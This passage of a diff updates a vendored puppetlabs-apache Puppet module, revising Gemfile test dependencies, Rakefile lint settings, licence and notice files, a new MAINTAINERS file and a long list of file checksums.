+  gem "puppet-module-posix-dev-r#{minor_version}",     :require => false, :platforms => "ruby"
+  gem "puppet-module-win-dev-r#{minor_version}",       :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
+  gem "json_pure", '<= 2.0.1',                         :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
+  gem "fast_gettext", '1.1.0',                         :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
+  gem "fast_gettext",                                  :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
 end
 
 group :system_tests do
-  gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '~> 2.20')                if supports_windows
-  gem 'beaker', *location_for(ENV['BEAKER_VERSION'])                             if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0') and ! supports_windows
-  gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '< 3')                    if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.3.0') and ! supports_windows
-  gem 'beaker-pe',                                                               :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0')
-  gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '>= 3.4')     if ! supports_windows
-  gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '~> 5.1')     if supports_windows
-  gem 'beaker-puppet_install_helper',                                            :require => false
-  gem 'master_manipulator',                                                      :require => false
-  gem 'beaker-hostgenerator', *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION'])
-  gem 'beaker-abs', *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1')        
+  gem "puppet-module-posix-system-r#{minor_version}",                            :require => false, :platforms => "ruby"
+  gem "puppet-module-win-system-r#{minor_version}",                              :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
+  gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '>= 3')                  
+  gem "beaker-pe",                                                               :require => false
+  gem "beaker-rspec", *location_for(ENV['BEAKER_RSPEC_VERSION'])                
+  gem "beaker-hostgenerator", *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION'])
+  gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1')        
 end
 
 gem 'puppet', *location_for(ENV['PUPPET_GEM_VERSION'])

modules/services/unix/http/apache/LICENSE

@@ -1,3 +1,4 @@
+
                                  Apache License
                            Version 2.0, January 2004
                         http://www.apache.org/licenses/

modules/services/unix/http/apache/MAINTAINERS.md

@@ -0,0 +1,6 @@
+## Maintenance
+
+Maintainers:
+  - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com`
+
+Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `apache`.

modules/services/unix/http/apache/NOTICE

@@ -1,8 +1,6 @@
-apache puppet module
+Puppet Module - puppetlabs-apache
 
-Copyright (C) 2012-2016 Puppet Labs, Inc.
-
-Puppet Labs can be contacted at: info@puppetlabs.com
+Copyright 2017 Puppet, Inc.
 
 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
@@ -14,4 +12,4 @@ Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
-limitations under the License.
+limitations under the License.

modules/services/unix/http/apache/Rakefile

@@ -1,10 +1,9 @@
-require 'puppet_blacksmith/rake_tasks'
-require 'puppet-lint/tasks/puppet-lint'
 require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-lint/tasks/puppet-lint'
+require 'puppet_blacksmith/rake_tasks' if Bundler.rubygems.find_name('puppet-blacksmith').any?
 
+PuppetLint.configuration.fail_on_warnings = true
 PuppetLint.configuration.send('relative')
-PuppetLint.configuration.send('disable_documentation')
-PuppetLint.configuration.send('disable_single_quote_string_with_variables')
 PuppetLint.configuration.send('disable_only_variable_string')
 
 desc 'Generate pooler nodesets'

modules/services/unix/http/apache/checksums.json

@@ -1,11 +1,12 @@
 {
-  "CHANGELOG.md": "3cf646fb26cf26763a7cfb5aad950d1a",
-  "CONTRIBUTING.md": "b78f71c1104f00538d50ad2775f58e95",
-  "Gemfile": "8229b2c0196b32a14403f99450c801af",
+  "CHANGELOG.md": "d5da65931d19f0aabf13a428dc56bc0c",
+  "CONTRIBUTING.md": "77d0440d7cd4206497f99065c60bed46",
+  "Gemfile": "bedf635025b279d7c7732adcc8ae9a29",
   "LICENSE": "3b83ef96387f14655fc854ddc3c6bd57",
-  "NOTICE": "b7f979f1e3cd132677e1cd7762547e6b",
-  "README.md": "320bd7f9fb5e88b097805076c39b6b02",
-  "Rakefile": "3a104cbf874d68f98be0c43522d54a27",
+  "MAINTAINERS.md": "6508b1d302b38186425992a66186c060",
+  "NOTICE": "b7760cf49f58b80b31df83244cc0fbd0",
+  "README.md": "b9a192cdc9ddecd060bc011a76df4b81",
+  "Rakefile": "a49b6653243c678ed33c8870db467d89",
   "examples/apache.pp": "41e97262421ea5734fac16a338701a78",
   "examples/dev.pp": "8da0d50d9d06834dd06329b8945f06d5",
   "examples/init.pp": "d27415f33028c26d4031d30305eec5e0",
@@ -13,7 +14,7 @@
   "examples/mods.pp": "78a25c9e226265353eabefd3ddfd4218",
   "examples/mods_custom.pp": "bc9e6959c282984cf9cdd93869c89499",
   "examples/php.pp": "afa0871b94040e3ae91fce9c375fb725",
-  "examples/vhost.pp": "2e9880fd36401c2f0b083054e7c69f3c",
+  "examples/vhost.pp": "27d808964b43d157de5ce8f47b441b46",
   "examples/vhost_directories.pp": "95aa446a2fccf9f3561581a5d71c61a7",
   "examples/vhost_filter.pp": "62c5af7868af9887b7d71769c319c1e5",
   "examples/vhost_ip_based.pp": "7a4d4c1c00147c45e4534f58d2fbf4ed",
@@ -23,7 +24,6 @@
   "files/httpd": "295f5e924afe6f752d29327e73fe6d0a",
   "lib/facter/apache_version.rb": "babb22b1d567021995b4b5fa9328047b",
   "lib/puppet/parser/functions/bool2httpd.rb": "05d5deeb6e0c31acee7c55b249ec8e06",
-  "lib/puppet/parser/functions/enclose_ipv6.rb": "581bc163291824909d1700909db96512",
   "lib/puppet/parser/functions/validate_apache_log_level.rb": "d75bc4ef17ff5c9a1f94dd3948e733d1",
   "lib/puppet/provider/a2mod/a2mod.rb": "d986d8e8373f3f31c97359381c180628",
   "lib/puppet/provider/a2mod/gentoo.rb": "2492d446adbb68f678e86a75eb7ff3bd",
@@ -31,47 +31,50 @@
   "lib/puppet/provider/a2mod/redhat.rb": "c39b80e75e7d0666def31c2a6cdedb0b",
   "lib/puppet/provider/a2mod.rb": "03ed73d680787dd126ea37a03be0b236",
   "lib/puppet/type/a2mod.rb": "9042ccc045bfeecca28bebb834114f05",
+  "locales/config.yaml": "ca04e502d031649d4aaa40d1803ade8b",
+  "locales/puppetlabs-apache.pot": "4bd09a821333cf6c272a64e944ef4e01",
   "manifests/balancer.pp": "b444ff1415ba0bd6c8ec1497bcc9cfb3",
   "manifests/balancermember.pp": "d74ab23d74fa198853b13ad837df925c",
   "manifests/confd/no_accf.pp": "406d0ca41c3b90f83740ca218dc3f484",
-  "manifests/custom_config.pp": "c5df4d455ff918f39e6341784457bca9",
+  "manifests/custom_config.pp": "357badc11586c8bb726f2a36364c0932",
   "manifests/default_confd_files.pp": "86fdbe5773abb7c2da26db096973865c",
   "manifests/default_mods/load.pp": "bc0b3b65edd1ba6178c09672352f9bce",
   "manifests/default_mods.pp": "e4a7aa787443fce2e76c37e8fec99012",
   "manifests/dev.pp": "8a7ead42f991e5dfdd364ba1aa1304e0",
   "manifests/fastcgi/server.pp": "f177293f02a2878b43a863e8ab3015db",
-  "manifests/init.pp": "e76413e0c82c2ae13b658bcd97f31c5a",
+  "manifests/init.pp": "5d0b9eccf800e4c0b293bed68571c4ec",
   "manifests/listen.pp": "6e44a9f49376cefb5694d52be5bc5a88",
   "manifests/mod/actions.pp": "ec2a5d1cf54790204750f9b67938d230",
   "manifests/mod/alias.pp": "1ef0d98a941bd796d428297b74acc8c4",
   "manifests/mod/auth_basic.pp": "dffef6ff10145393cb78fcaa27220c53",
-  "manifests/mod/auth_cas.pp": "73dcf3f9ba2421a271f6c21bcae2fcbb",
+  "manifests/mod/auth_cas.pp": "f2e61e67393a998a19f8b34506e07e0d",
   "manifests/mod/auth_kerb.pp": "8759cab3dc12d6ba4cc12fcdbb699418",
   "manifests/mod/auth_mellon.pp": "5bfbc604dd79923bdb65ecab02353059",
   "manifests/mod/authn_core.pp": "4db773ddbc0d875230085782d4521951",
   "manifests/mod/authn_dbd.pp": "8f03863a483184ca53b9bc3a45b2297f",
   "manifests/mod/authn_file.pp": "eeb11513490beee901574746faaeabdf",
-  "manifests/mod/authnz_ldap.pp": "41b00baeb26144b889f4f0be4601dae5",
+  "manifests/mod/authnz_ldap.pp": "5fb4b52f54daf03358e08cde676ea4fc",
+  "manifests/mod/authnz_pam.pp": "9f99d93e289a2db42c74046c8ae1889f",
   "manifests/mod/authz_default.pp": "b7c94cfa4e008155fffd241d35834064",
   "manifests/mod/authz_user.pp": "d446c90c44304594206bd2a0112be625",
   "manifests/mod/autoindex.pp": "3b50dc082dba420c3d564309601fd419",
   "manifests/mod/cache.pp": "b56d68b9401ba3e02a1f2fe55cdfbcca",
-  "manifests/mod/cgi.pp": "32d6da37e010b5abe19b1a3be87a6d44",
+  "manifests/mod/cgi.pp": "731ed7bce75628afeb78afd3fa2fd793",
   "manifests/mod/cgid.pp": "fb9ae9b5012d41e22cb85c0b50e17361",
-  "manifests/mod/cluster.pp": "3d86d95713aea6107ff9e056d1b1698f",
+  "manifests/mod/cluster.pp": "8b67026e9a6a4bdc6a2481613896ded1",
   "manifests/mod/dav.pp": "9df80d36dd609be9032a8260aa9d10c1",
   "manifests/mod/dav_fs.pp": "9ad2359d64b0b6f219bd8a338917d114",
   "manifests/mod/dav_svn.pp": "abc1ba954033b0b0187c079f310eb0e2",
   "manifests/mod/dbd.pp": "4471dbd9fd67d0db885d4ba2a47a194a",
   "manifests/mod/deflate.pp": "20231a22aba12eb905f1d7f1853e383e",
   "manifests/mod/dev.pp": "42673bab60b6fc0f3aa6e2357ec0a27c",
-  "manifests/mod/dir.pp": "c7327a2a0ff02bdab2f5421359d6f300",
+  "manifests/mod/dir.pp": "75039bc8c77b9b82fa12fc5aa1061291",
   "manifests/mod/disk_cache.pp": "da18cbefced9bb32fc009e999c5b76e2",
-  "manifests/mod/dumpio.pp": "755f6072ef3130fa670022f26da7e429",
+  "manifests/mod/dumpio.pp": "5492a7249450a7fdf335ecb0c3b948f4",
   "manifests/mod/env.pp": "2a0321180a59161565b2b5f1b79d6b15",
   "manifests/mod/event.pp": "a82a7ab979cc351eb660576bdc91d0e8",
   "manifests/mod/expires.pp": "6f12edcf6863958af832db73b56e5f08",
-  "manifests/mod/ext_filter.pp": "df12ff3935ffa64f32bf897e433fc0ce",
+  "manifests/mod/ext_filter.pp": "287966c2c0fd450c72a1c9ef88a0e155",
   "manifests/mod/fastcgi.pp": "96a3fcf0508a7eb8c9601eac329622eb",
   "manifests/mod/fcgid.pp": "96e0a5f09c2d1ba21b2209a6e21b6847",
   "manifests/mod/filter.pp": "b0039f3ae932b1204994ef2180dd76d2",
@@ -79,24 +82,26 @@
   "manifests/mod/headers.pp": "ef3de538a0a4c9406236faf43eb89710",
   "manifests/mod/include.pp": "a3b66eda88e38d90825c16b834bacd8d",
   "manifests/mod/info.pp": "c3e815ed9912bb9147805f7274508489",
+  "manifests/mod/intercept_form_submit.pp": "b3e55433272082bac1e7a5334df3b01f",
   "manifests/mod/itk.pp": "f631157ebdff68b6fc2bb6dbd5b8e8c4",
-  "manifests/mod/ldap.pp": "3fdd5ed6f1db898fc2499ed0ece0abe1",
+  "manifests/mod/ldap.pp": "319e62a24e30221e691b9cf85a6288e1",
+  "manifests/mod/lookup_identity.pp": "a3fd01d395ea09ec1488494fd077dd7b",
   "manifests/mod/mime.pp": "24fe99c65367a3f606441605a2ff26dd",
   "manifests/mod/mime_magic.pp": "d31702cee9007c2e65c8d3ccbed1fda3",
   "manifests/mod/negotiation.pp": "35fb1e9fa643054271804e215bb47299",
   "manifests/mod/nss.pp": "3cc69b59bba579181b0ceb1dfd2976d0",
   "manifests/mod/pagespeed.pp": "1fcf4c30084bd1e4fa3006b4d3265c1a",
-  "manifests/mod/passenger.pp": "55c68abd56d7838bbd6d9cb48bc941bb",
+  "manifests/mod/passenger.pp": "f1a4609f61e30fc839ad7f4b668a750b",
   "manifests/mod/perl.pp": "b8180ca0e1e7f8d60030321f52c28d6d",
   "manifests/mod/peruser.pp": "13761222709094653bca7bad4435fcdb",
-  "manifests/mod/php.pp": "64737f2ea2ad8532aaf515b713e9cac7",
+  "manifests/mod/php.pp": "b6d383242b3c52a2543f8f477ff308a0",
   "manifests/mod/prefork.pp": "3deff89f43a1f55dda643ac66e3fc4dc",
   "manifests/mod/proxy.pp": "a65065f0c7705b7b75b1dd6fc2222e27",
   "manifests/mod/proxy_ajp.pp": "073e2406aea7822750d4c21f02d8ac80",
-  "manifests/mod/proxy_balancer.pp": "a13221d222df646e84910cabd2902dee",
+  "manifests/mod/proxy_balancer.pp": "c717e51517043084854b26c89d7b99d9",
   "manifests/mod/proxy_connect.pp": "7cd9b4b61ec6feb020f753ee74910a48",
   "manifests/mod/proxy_fcgi.pp": "8c7fd559419b159e27218a17463d850d",
-  "manifests/mod/proxy_html.pp": "5ce01879add843832f756962dceec845",
+  "manifests/mod/proxy_html.pp": "aa012e927e20d3f7734fdc026491fd20",
   "manifests/mod/proxy_http.pp": "0db1b26f8b4036b0d46ba86b7eaac561",
   "manifests/mod/proxy_wstunnel.pp": "88ee88d6d56a70f0000e690f80f64acb",
   "manifests/mod/python.pp": "6f65b22271cf356832fe7a1949163861",
@@ -104,53 +109,53 @@
   "manifests/mod/reqtimeout.pp": "17b245b5d14f3f7b8c1d5fa07e5c159e",
   "manifests/mod/rewrite.pp": "292f2d6ce2078fa9df7f686105ea7b95",
   "manifests/mod/rpaf.pp": "54991f51a06e2b4171956e6ce1caf3a3",
-  "manifests/mod/security.pp": "eaae214a25fcfa9fc9e4db4d2b88a37d",
+  "manifests/mod/security.pp": "b5ed320cbcce30b79557dd38941d339b",
   "manifests/mod/setenvif.pp": "fa3b3e5f3a7e029f9db5b66ae499c6c8",
   "manifests/mod/shib.pp": "8b75f8818fe9dc5728a478fc27962447",
   "manifests/mod/socache_shmcb.pp": "c94ae23ab8cce744acad2f7e33dbfa9c",
   "manifests/mod/speling.pp": "b6971e10caf22837e410b94910b66b1a",
-  "manifests/mod/ssl.pp": "a6c6ed342ef96db622671ed99ae0fe0d",
-  "manifests/mod/status.pp": "2e54208b8e669a7768b8bc4c2ca216a1",
+  "manifests/mod/ssl.pp": "ed4255fa17a174ce02fd8eef399c0ae1",
+  "manifests/mod/status.pp": "75d19ef4dde3529359d080c6607926f0",
   "manifests/mod/suexec.pp": "2a8671856a0ece597e9b57867dc35e76",
   "manifests/mod/suphp.pp": "5a7390ef0a0ceaa2d7e684bcb6300587",
-  "manifests/mod/userdir.pp": "bb20504fc72d66b8cf80bb270db7bb66",
+  "manifests/mod/userdir.pp": "8cce2ae6536eab6b809c63cb6ed59c55",
   "manifests/mod/version.pp": "6cb31057ebffa796f95642cc95f9499d",
   "manifests/mod/vhost_alias.pp": "ee1225a748daaf50aca39a6d93fb8470",
   "manifests/mod/worker.pp": "41137580c48b89f2795c1295d87962c0",
-  "manifests/mod/wsgi.pp": "186a34169367a2e64af4faf3036e3af3",
+  "manifests/mod/wsgi.pp": "adcaac9e490512a58d0e6070904c85d2",
   "manifests/mod/xsendfile.pp": "fba06f05a19c466654aca5ecaa705bf0",
-  "manifests/mod.pp": "0986292ef7477c30f6d07209f0591bdf",
+  "manifests/mod.pp": "405f340daea9c50913904818ca4041d7",
   "manifests/mpm.pp": "d4bfe77df34110cb253557104b2e6310",
   "manifests/namevirtualhost.pp": "5ad54a441ff26a55cc536069d8fad238",
   "manifests/package.pp": "ebd1e1e815ef744ebd4e9d8a6c94a07a",
-  "manifests/params.pp": "42d971519adb39970cf87f33180b1f5d",
+  "manifests/params.pp": "605e33b78b4eb131ac9e9bad335ce88f",
   "manifests/peruser/multiplexer.pp": "0ea75341b7a93e55bcfb431a93b1a6c9",
   "manifests/peruser/processor.pp": "62f0ad5ed2ec36dadc7f40ad2a9e1bb9",
   "manifests/php.pp": "9c9d07e12bf5d112b0b54f5bd69046fc",
   "manifests/proxy.pp": "7c8515b88406922e148322ee15044b29",
   "manifests/python.pp": "ddef4cd73850fdc2dc126d4579c30adf",
   "manifests/security/rule_link.pp": "9c879ecfd7534347ccc8cf3ea77fa859",
-  "manifests/service.pp": "8e51ebf5af2e943030aec043face1bac",
+  "manifests/service.pp": "9984fd2cfd49cea0b8db61f7cc3c1c4b",
   "manifests/ssl.pp": "173f3d6a7fd2b5f4100c4ff03d84e13b",
   "manifests/version.pp": "3388b1978b04cba63ed7fc8e2ec3f692",
   "manifests/vhost/custom.pp": "421081f6c4f33e1aca07ff789e53345e",
-  "manifests/vhost.pp": "da0c608533e3010de53a42a09748c633",
+  "manifests/vhost.pp": "707b86ad96804fed2413ef6366ac43b4",
   "manifests/vhosts.pp": "d5cd9e6b701b7b2948c011546bc55497",
-  "metadata.json": "0090c6941acc9416730e7a48d0f6b231",
-  "spec/acceptance/apache_parameters_spec.rb": "5b95e67d474cc8a132c45f6e91714037",
+  "metadata.json": "f9025597336b7ffb8631e1c5949985ae",
+  "spec/acceptance/apache_parameters_spec.rb": "d8d8f53c76a65558f189a33ef063976a",
   "spec/acceptance/apache_ssl_spec.rb": "9cddf1b1b3a4ed2fe971fabe8785e9ed",
   "spec/acceptance/class_spec.rb": "9d77ee23b734dd48ecea4353dee3d616",
   "spec/acceptance/custom_config_spec.rb": "61e03d814d0671d194dd40e6b1ad5c9b",
-  "spec/acceptance/default_mods_spec.rb": "5d2bf768511d2fb34bd7057801d0fc4e",
+  "spec/acceptance/default_mods_spec.rb": "2481bfa99dd34e15f2b4c7eed194635f",
   "spec/acceptance/itk_spec.rb": "812c855013c08ebb13e642dc5199b41a",
   "spec/acceptance/mod_dav_svn_spec.rb": "e792a6d585026dd7bded38e62c8786f6",
   "spec/acceptance/mod_deflate_spec.rb": "dd39bfb069e0233bf134caaeb1dc6fe6",
   "spec/acceptance/mod_fcgid_spec.rb": "ef0e3368ea14247c05ff43217b5856ee",
   "spec/acceptance/mod_mime_spec.rb": "0869792d98c1b2577f02d97c92f1765e",
   "spec/acceptance/mod_negotiation_spec.rb": "017f6b0cc1496c25aa9b8a33ef8dbbb3",
-  "spec/acceptance/mod_pagespeed_spec.rb": "7d7732a41eae79bd6b816bb1e165a530",
+  "spec/acceptance/mod_pagespeed_spec.rb": "23256a41b700fc92a96edf34a16be499",
   "spec/acceptance/mod_passenger_spec.rb": "a66264ef73ad6c5396a06ab9b5444c7c",
-  "spec/acceptance/mod_php_spec.rb": "81218711d2e27b24e36a99eab74ccf19",
+  "spec/acceptance/mod_php_spec.rb": "98bc1ff97a36de86d5a1b800b2afd7a6",
   "spec/acceptance/mod_proxy_html_spec.rb": "34478fc2f12a23cd5a95d424f85da150",
   "spec/acceptance/mod_security_spec.rb": "c783d44cf3ccba2fa6a3c14de0e486a0",
   "spec/acceptance/mod_suphp_spec.rb": "f5c1f21e4c5323b81afc354c82e7ceb9",
@@ -164,16 +169,17 @@
   "spec/acceptance/prefork_worker_spec.rb": "1570eefe61d667a1b43824adc0b2bb78",
   "spec/acceptance/service_spec.rb": "341f157cb33fa48d5166d2274ad3bc65",
   "spec/acceptance/version.rb": "6a1f2db3e369f3dc2b5bd76f4921891a",
-  "spec/acceptance/vhost_spec.rb": "69a14b4e593fa9ecfdccda1ab23b453a",
+  "spec/acceptance/vhost_spec.rb": "ac0e99a6dfbe8faa2837bf2356fdda7d",
   "spec/acceptance/vhosts_spec.rb": "c9635037681d569a053da6eb7ae5f4f4",
-  "spec/classes/apache_spec.rb": "fe0d844ef6cb3bad10e2d935ea16e737",
+  "spec/classes/apache_spec.rb": "c75f9bf2fedf99c4d478536d3786223c",
   "spec/classes/dev_spec.rb": "6bc9ff7cffb77aac52c5bd3acc157d2d",
   "spec/classes/mod/alias_spec.rb": "e62706d9925b0dc1821db78d01986a7e",
   "spec/classes/mod/auth_cas_spec.rb": "46a7ba3fe31d3fc6175b8dce5105326e",
-  "spec/classes/mod/auth_kerb_spec.rb": "a32949cf0f8f93786b58589b102b1fe0",
+  "spec/classes/mod/auth_kerb_spec.rb": "d281ff13b8989d759bd7fcdb599a882a",
   "spec/classes/mod/auth_mellon_spec.rb": "81d3ea4b7567718ca810b625fd36d231",
   "spec/classes/mod/authn_dbd_spec.rb": "8c794faaa5244e16f432c76679cb12d7",
   "spec/classes/mod/authnz_ldap_spec.rb": "bef6980f85489c5fd7388511cb65b644",
+  "spec/classes/mod/authnz_pam_spec.rb": "71759e9ab2dd8aeefeb4d79e3349e67e",
   "spec/classes/mod/cluster_spec.rb": "c1d01cc4a4f9ce10d692294019791e2f",
   "spec/classes/mod/dav_svn_spec.rb": "6b3c4123a067e249f6c78c5b0cbcbcc7",
   "spec/classes/mod/deflate_spec.rb": "adf6e41357fefe4ff1128e8fea4d3057",
@@ -187,13 +193,15 @@
   "spec/classes/mod/fastcgi_spec.rb": "59f7ea857b0fa614e8808270c529300f",
   "spec/classes/mod/fcgid_spec.rb": "bda06cc347a8da8d7c7374add2654248",
   "spec/classes/mod/info_spec.rb": "d51c6a9e6ae4d944488a43c8c15b95c0",
+  "spec/classes/mod/intercept_form_submit_spec.rb": "2e7087360a57f6ccf88b80239ca5056e",
   "spec/classes/mod/itk_spec.rb": "622f23a1346383846cbc98e38388034d",
   "spec/classes/mod/ldap_spec.rb": "12863d495558fbe9f6cb7a50ab37688c",
+  "spec/classes/mod/lookup_identity.rb": "97997c0a2e7a1b717426b5845df604ee",
   "spec/classes/mod/mime_magic_spec.rb": "259304a80e92e4ba15e7cd719fe25c17",
   "spec/classes/mod/mime_spec.rb": "d946fb96659b67bf7117ad7ed4b25cce",
   "spec/classes/mod/negotiation_spec.rb": "44d50f7e6ef8c6388baa4c7cfc07be43",
   "spec/classes/mod/pagespeed_spec.rb": "56bd7d82920cb734ea8139c9fed97de7",
-  "spec/classes/mod/passenger_spec.rb": "a7cb67b8f93b462dc9a1bf29ad7f2436",
+  "spec/classes/mod/passenger_spec.rb": "e8daaeafddd8b8ac33800c04a93b5c03",
   "spec/classes/mod/perl_spec.rb": "1daa227f563ac19ff8dcdea0d0005ec4",
   "spec/classes/mod/peruser_spec.rb": "c379ce85a997789856b12c27957bf994",
   "spec/classes/mod/php_spec.rb": "2cc1a1d5d097be26eef3139b4e8eafaf",
@@ -206,48 +214,49 @@
   "spec/classes/mod/remoteip_spec.rb": "f9bf0bc64fef6d570f7b798ceef0d598",
   "spec/classes/mod/reqtimeout_spec.rb": "2af2919e8253100fbc2e001d30a5cd15",
   "spec/classes/mod/rpaf_spec.rb": "5c4725a4bcab9339d7309765390aaed1",
-  "spec/classes/mod/security_spec.rb": "adabc64a0a847c9f448c3282a4de1b94",
+  "spec/classes/mod/security_spec.rb": "f2e41f16ff5e8aa8f4709cab68a7cf5e",
   "spec/classes/mod/shib_spec.rb": "b4ec345e387f8d7186048f5d286bb71d",
   "spec/classes/mod/speling_spec.rb": "96919b9fbd1e894fcfd649044c3dafb5",
-  "spec/classes/mod/ssl_spec.rb": "54219eac9b409a833a57ecfdce66a196",
+  "spec/classes/mod/ssl_spec.rb": "9c9fe05b815405d4e7fbb095e01d7d2a",
   "spec/classes/mod/status_spec.rb": "1eeaf906baf6ca82bf24c4e23494c71c",
   "spec/classes/mod/suphp_spec.rb": "cc7c02c42e985aa133f9d868e14d9435",
+  "spec/classes/mod/userdir_spec.rb": "648ab42ba4113b31712ecf8d9ec485e0",
   "spec/classes/mod/worker_spec.rb": "c326e36fbcfe9f0c59dc1db389a33926",
-  "spec/classes/mod/wsgi_spec.rb": "5c76026d8f08ac7d17d7b34f089979a3",
+  "spec/classes/mod/wsgi_spec.rb": "902251d74d6d3c821f460b620158295b",
   "spec/classes/params_spec.rb": "adbd9f0dee677ea9439b9ce0d620894f",
-  "spec/classes/service_spec.rb": "d23f6cd3eac018e368e0ba32cbf95f11",
+  "spec/classes/service_spec.rb": "0709833b94c1a3fbd13b73042fa84967",
   "spec/classes/vhosts_spec.rb": "9baf23eb534e944a1bd593e72dd3050e",
   "spec/defines/balancer_spec.rb": "8793815eb22b5190977b154fcd97e85e",
   "spec/defines/balancermember_spec.rb": "e93ded8b51cc1d73e52f453880b3576e",
-  "spec/defines/custom_config_spec.rb": "a7e3392933cabc8ed6bb57deaebb36d9",
+  "spec/defines/custom_config_spec.rb": "cd4ee6803b79a844442107ac385cc833",
   "spec/defines/fastcgi_server_spec.rb": "8e167c1525cb9a7473efdde01efe0ca3",
   "spec/defines/mod_spec.rb": "a10e5b2570419737c03cd0f6347cc985",
   "spec/defines/modsec_link_spec.rb": "3421b21f8234637dd1c32ebcf89e44c3",
   "spec/defines/vhost_custom_spec.rb": "d5596a7a0c239d4c0ed8bebbb6a124ab",
-  "spec/defines/vhost_spec.rb": "b9fc940b93fa4bde6e6d1ce1ef91d234",
+  "spec/defines/vhost_spec.rb": "b338a9fe8d5bd1f2002025905c2c4a74",
   "spec/fixtures/files/negotiation.conf": "9c11872e26327ec880749b5dfdea25d6",
   "spec/fixtures/files/spec": "e964ecac35c35baa9b4c57dac4ff5b3e",
+  "spec/fixtures/site_apache/templates/fake.conf.erb": "6b0431dd0b9a0bf803eb0684300c2cff",
   "spec/fixtures/templates/negotiation.conf.erb": "c838e612ce6f82a5efd12871ad562011",
   "spec/spec_helper.rb": "b2db3bc02b4ac2fd5142a6621c641b07",
-  "spec/spec_helper_acceptance.rb": "bd3dc8d42f3774c2c5cea26df7488b07",
+  "spec/spec_helper_acceptance.rb": "97b5d5677a368ac97cdc3ae2ab5e204f",
   "spec/spec_helper_local.rb": "1b6ccd9b2f6946b81560239881774e94",
   "spec/unit/apache_version_spec.rb": "c9d7b8ab46fb21d370702f02088281a2",
   "spec/unit/provider/a2mod/gentoo_spec.rb": "02f7510cbf4945c5e1094ebcb967c8e0",
   "spec/unit/puppet/parser/functions/bool2httpd_spec.rb": "0c9bca53eb43b5fc888126514b2a174c",
-  "spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb": "0145a78254ea716e5e7600d9464318a8",
   "spec/unit/puppet/parser/functions/validate_apache_log_level.rb": "8f558fd81d1655e9ab20896152eca512",
   "templates/confd/no-accf.conf.erb": "a614f28c4b54370e4fa88403dfe93eb0",
   "templates/fastcgi/server.erb": "30cdd04393bdb4f68678d00e2930721b",
-  "templates/httpd.conf.erb": "5a8eacfe858789a1e2059cd0452b6b01",
+  "templates/httpd.conf.erb": "3667dc46bedcfd2b79f82570b1063623",
   "templates/listen.erb": "6286aa08f9e28caee54b1e1ee031b9d6",
   "templates/mod/alias.conf.erb": "370e9d394dd462d3ebc0dd345ab68f6f",
   "templates/mod/auth_cas.conf.erb": "35e1291a5fa05067d7623c02bafb0ada",
   "templates/mod/auth_mellon.conf.erb": "4e17d22a8f1bc312e976e8513199c945",
   "templates/mod/authn_dbd.conf.erb": "7a84f5d3b3a4b92a88fe052b13376f8e",
-  "templates/mod/authnz_ldap.conf.erb": "d648a09c5625a7da5715f03526f2fefd",
+  "templates/mod/authnz_ldap.conf.erb": "2262e6d90ae81f2b732bbf0163006c59",
   "templates/mod/autoindex.conf.erb": "2421a3c6df32c7e38c2a7a22afdf5728",
   "templates/mod/cgid.conf.erb": "f8ce27d60bc495bab16de2696ebb2fd0",
-  "templates/mod/cluster.conf.erb": "1b12d0b30352527474986eba1973b9b1",
+  "templates/mod/cluster.conf.erb": "9e92178f1d45193868e41e7fe1a06976",
   "templates/mod/dav_fs.conf.erb": "10c1131168e35319e22b3fbfe51aebfd",
   "templates/mod/deflate.conf.erb": "e866ecf2bfe8e42ea984267f569723db",
   "templates/mod/dir.conf.erb": "2485da78a2506c14bf51dde38dd03360",
@@ -275,19 +284,19 @@
   "templates/mod/prefork.conf.erb": "f9ec5a7eaea78a19b04fa69f8acd8a84",
   "templates/mod/proxy.conf.erb": "33a6a57edd324ba56e879a7b077ecf08",
   "templates/mod/proxy_balancer.conf.erb": "a9f8d51a2a7169e5fd0c8415a3f9c662",
-  "templates/mod/proxy_html.conf.erb": "69c9ce9b7f24e1337065f1ce26b057a0",
+  "templates/mod/proxy_html.conf.erb": "1236e21e77bcc077dd71dbef98c911c7",
   "templates/mod/remoteip.conf.erb": "ad58e174410e3ff46ff93d4ad1e7b8a0",
   "templates/mod/reqtimeout.conf.erb": "314ef068b786ae5afded290a8b6eab15",
   "templates/mod/rpaf.conf.erb": "5447539c083ae54f3a9e93c1ac8c988b",
   "templates/mod/security.conf.erb": "e309716298ed8709df5496c27d47fe36",
   "templates/mod/security_crs.conf.erb": "5c7bc134c0675d75b66a5c8faaf11eb6",
   "templates/mod/setenvif.conf.erb": "c7ede4173da1915b7ec088201f030c28",
-  "templates/mod/ssl.conf.erb": "6f9557964b967bb6715d1f19f266367a",
+  "templates/mod/ssl.conf.erb": "f88b0d03bbbc9b0773475434a2ef0f93",
   "templates/mod/status.conf.erb": "574ecc6f74e8b75d84710a44c4260210",
   "templates/mod/suphp.conf.erb": "05bb7b3ea23976b032ce405bfd4edd18",
-  "templates/mod/userdir.conf.erb": "b555d16697b030d34ad18d41d4084c4c",
+  "templates/mod/userdir.conf.erb": "5d0185dc69bc30849bc1a2f63f652b74",
